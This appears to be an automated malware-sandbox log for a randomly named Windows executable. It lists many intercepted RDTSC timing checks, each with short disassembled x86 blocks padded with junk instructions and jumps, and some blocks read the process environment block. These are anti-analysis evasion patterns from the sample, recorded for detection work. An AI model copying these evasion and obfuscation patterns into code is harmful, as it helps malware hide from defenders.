Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB24 second address: 11FBB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F3808D550F6h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 jnp 00007F3808D550F6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB40 second address: 11FBB4A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3808C18656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB4A second address: 11FBB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB54 second address: 11FBB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB58 second address: 11FBB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBE3C second address: 11FBE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBE42 second address: 11FBE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FC13F second address: 11FC143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FC143 second address: 11FC14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 123B07D second address: 123B084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 123B084 second address: 123B08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 124322C second address: 1243230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1243230 second address: 1243234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 123DBDD second address: 123DBE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 123DBE5 second address: 123DBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 123DBEA second address: 123DBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3808C18656h 0x0000000a jnc 00007F3808C18656h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1251641 second address: 1251689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3808D550F6h 0x00000009 jc 00007F3808D550F6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F3808D55108h 0x00000016 popad 0x00000017 jne 00007F3808D55102h 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jnp 00007F3808D5510Ah 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1251689 second address: 125169F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C1865Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 125169F second address: 12516A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 12516A3 second address: 12516BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18662h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1255BE4 second address: 1255C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55108h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131CDA5 second address: 131CDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3808C18661h 0x0000000a pushad 0x0000000b jne 00007F3808C18656h 0x00000011 jmp 00007F3808C1865Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BBAF second address: 131BBD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F3808D550FFh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BBD6 second address: 131BC24 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3808C18658h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b js 00007F3808C18656h 0x00000011 jc 00007F3808C18656h 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F3808C18668h 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 jmp 00007F3808C18660h 0x00000029 ja 00007F3808C18656h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BD9D second address: 131BDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BDA3 second address: 131BDAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BDAD second address: 131BDDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55104h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3808D55100h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BDDB second address: 131BDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131BDDF second address: 131BE00 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3808D55108h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131C244 second address: 131C25D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131C6BA second address: 131C6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131C6BE second address: 131C6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3808C18656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F3808C1865Ch 0x00000012 jnl 00007F3808C18656h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131C6D6 second address: 131C6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D550FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 131E545 second address: 131E54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 13212E3 second address: 13212EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 13215D1 second address: 13215D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 13215D6 second address: 13215E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3808D550FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1322D0F second address: 1322D26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F3808C18656h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1322D26 second address: 1322D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1324EAC second address: 1324EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F3808C18656h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1324EB9 second address: 1324EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1324EBD second address: 1324EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60011 second address: 6F600C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3808D550FEh 0x0000000f push eax 0x00000010 jmp 00007F3808D550FBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F3808D55106h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e jmp 00007F3808D550FEh 0x00000023 mov ax, 1B31h 0x00000027 popad 0x00000028 mov eax, dword ptr fs:[00000030h] 0x0000002e jmp 00007F3808D550FCh 0x00000033 sub esp, 18h 0x00000036 jmp 00007F3808D55100h 0x0000003b xchg eax, ebx 0x0000003c jmp 00007F3808D55100h 0x00000041 push eax 0x00000042 jmp 00007F3808D550FBh 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F3808D55100h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F600C5 second address: 6F600CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F600CB second address: 6F60126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [eax+10h] 0x0000000c jmp 00007F3808D55100h 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 jmp 00007F3808D550FEh 0x00000018 mov esi, 275166B1h 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 mov si, di 0x00000023 call 00007F3808D55109h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60126 second address: 6F60132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60208 second address: 6F6021E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 mov bx, F410h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6021E second address: 6F60224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60224 second address: 6F60318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55103h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [77530B60h] 0x0000000f mov eax, 756AE5E0h 0x00000014 ret 0x00000015 pushad 0x00000016 mov ecx, 3B4E572Bh 0x0000001b popad 0x0000001c push 00000044h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F3808D55108h 0x00000025 xor ax, 49E8h 0x0000002a jmp 00007F3808D550FBh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F3808D55108h 0x00000036 add ax, DC48h 0x0000003b jmp 00007F3808D550FBh 0x00000040 popfd 0x00000041 popad 0x00000042 pop edi 0x00000043 pushad 0x00000044 call 00007F3808D55104h 0x00000049 pushfd 0x0000004a jmp 00007F3808D55102h 0x0000004f and ax, 81D8h 0x00000054 jmp 00007F3808D550FBh 0x00000059 popfd 0x0000005a pop eax 0x0000005b call 00007F3808D55109h 0x00000060 mov dh, al 0x00000062 pop edx 0x00000063 popad 0x00000064 xchg eax, edi 0x00000065 jmp 00007F3808D55108h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e pushad 0x0000006f popad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60318 second address: 6F60339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60339 second address: 6F60356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55109h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60406 second address: 6F60434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c mov di, si 0x0000000f push eax 0x00000010 mov bl, 0Fh 0x00000012 pop esi 0x00000013 popad 0x00000014 test esi, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3808C1865Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60434 second address: 6F60458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F38792D435Bh 0x0000000f pushad 0x00000010 mov eax, edi 0x00000012 popad 0x00000013 mov eax, 00000000h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60458 second address: 6F6045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6045C second address: 6F6046B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6046B second address: 6F604EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi], edi 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e movzx ecx, bx 0x00000011 popad 0x00000012 mov dword ptr [esi+04h], eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F3808C18661h 0x0000001c xor cl, FFFFFFF6h 0x0000001f jmp 00007F3808C18661h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F3808C18660h 0x0000002b sub cx, 2318h 0x00000030 jmp 00007F3808C1865Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov dword ptr [esi+08h], eax 0x0000003a pushad 0x0000003b push eax 0x0000003c mov ax, bx 0x0000003f pop ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F604EA second address: 6F6056A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3808D55109h 0x00000008 and ch, 00000066h 0x0000000b jmp 00007F3808D55101h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov dword ptr [esi+0Ch], eax 0x00000017 pushad 0x00000018 movzx eax, di 0x0000001b pushfd 0x0000001c jmp 00007F3808D55109h 0x00000021 sbb esi, 6E541F76h 0x00000027 jmp 00007F3808D55101h 0x0000002c popfd 0x0000002d popad 0x0000002e mov eax, dword ptr [ebx+4Ch] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F3808D550FDh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6056A second address: 6F60604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+10h], eax 0x0000000c pushad 0x0000000d jmp 00007F3808C1865Ch 0x00000012 pushfd 0x00000013 jmp 00007F3808C18662h 0x00000018 adc si, AE28h 0x0000001d jmp 00007F3808C1865Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+50h] 0x00000027 jmp 00007F3808C18666h 0x0000002c mov dword ptr [esi+14h], eax 0x0000002f pushad 0x00000030 mov edi, eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushfd 0x00000035 jmp 00007F3808C18668h 0x0000003a jmp 00007F3808C18665h 0x0000003f popfd 0x00000040 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60604 second address: 6F60655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebx+54h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3808D55109h 0x00000013 and eax, 2D7D97B6h 0x00000019 jmp 00007F3808D55101h 0x0000001e popfd 0x0000001f call 00007F3808D55100h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60655 second address: 6F606B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+18h], eax 0x0000000c jmp 00007F3808C18660h 0x00000011 mov eax, dword ptr [ebx+58h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F3808C1865Eh 0x0000001b and ah, 00000068h 0x0000001e jmp 00007F3808C1865Bh 0x00000023 popfd 0x00000024 movzx esi, dx 0x00000027 popad 0x00000028 mov dword ptr [esi+1Ch], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F3808C1865Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606B6 second address: 6F606CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606CB second address: 6F606D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606D1 second address: 6F606D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606D5 second address: 6F606D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606D9 second address: 6F606FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+5Ch] 0x0000000b jmp 00007F3808D550FFh 0x00000010 mov dword ptr [esi+20h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F606FC second address: 6F60700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60700 second address: 6F6071B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55107h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6071B second address: 6F60773 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 pushfd 0x00000011 jmp 00007F3808C18669h 0x00000016 jmp 00007F3808C1865Bh 0x0000001b popfd 0x0000001c popad 0x0000001d mov dword ptr [esi+24h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov edx, 5FDF62B6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60773 second address: 6F60778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60778 second address: 6F607B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+64h] 0x0000000c jmp 00007F3808C18660h 0x00000011 mov dword ptr [esi+28h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3808C18667h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F607B5 second address: 6F607BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F607BB second address: 6F607BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F607BF second address: 6F607E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+68h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3808D55100h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F607E7 second address: 6F607ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F607ED second address: 6F6080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+2Ch], eax 0x0000000c pushad 0x0000000d mov cl, bl 0x0000000f mov eax, 7B85D3E3h 0x00000014 popad 0x00000015 mov ax, word ptr [ebx+6Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6080C second address: 6F60827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60827 second address: 6F6082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
